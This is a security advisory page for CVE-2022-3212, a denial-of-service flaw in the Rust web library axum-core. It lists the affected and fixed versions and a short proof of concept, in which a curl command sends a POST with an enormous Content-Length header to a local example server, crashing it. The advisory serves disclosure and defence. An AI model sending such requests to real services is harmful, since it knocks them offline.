JFrog Security Research

< Back

- axum-core missing request size limit DoS

CVE-2022-3212 | CVSS 7.5

JFrog Severity: High

Published 30 Aug. 2022 | Last updated 30 Aug. 2022

Summary

A missing request size limit for HTTP requests in axum-core can allow network attackers to perform denial of service

Component

axum-core

Affected versions

axum-core (, 0.2.7], fixed in 0.2.8
axum-core (, 0.3.0-rc.1], fixed in 0.3.0-rc.2

Description

`<bytes::Bytes as axum_core::extract::FromRequest>::from_request` would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large `Content-Length` header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.
This also applies to these extractors which used `Bytes::from_request` internally:
`axum::extract::Form`
`axum::extract::Json`
`String`

PoC

```
git clone https://github.com/tokio-rs/axum
```

```
cd axum/examples && cargo run -p example-readme
```

```
curl -v -X POST "http://127.0.0.1:3000/users" -H "Content-Type: application/json" \
--data `python3 -c "import sys; sys.stdout.write('a'*10000)"` -H "Content-Length: 11111111111111111111"
```

Vulnerability Mitigations

No mitigations are provided for this vulnerability.
In order to fully fix this vulnerability, we recommend upgrading axum-core to version 0.2.8
The fixed axum version is 0.5.16

References

NVD

< Back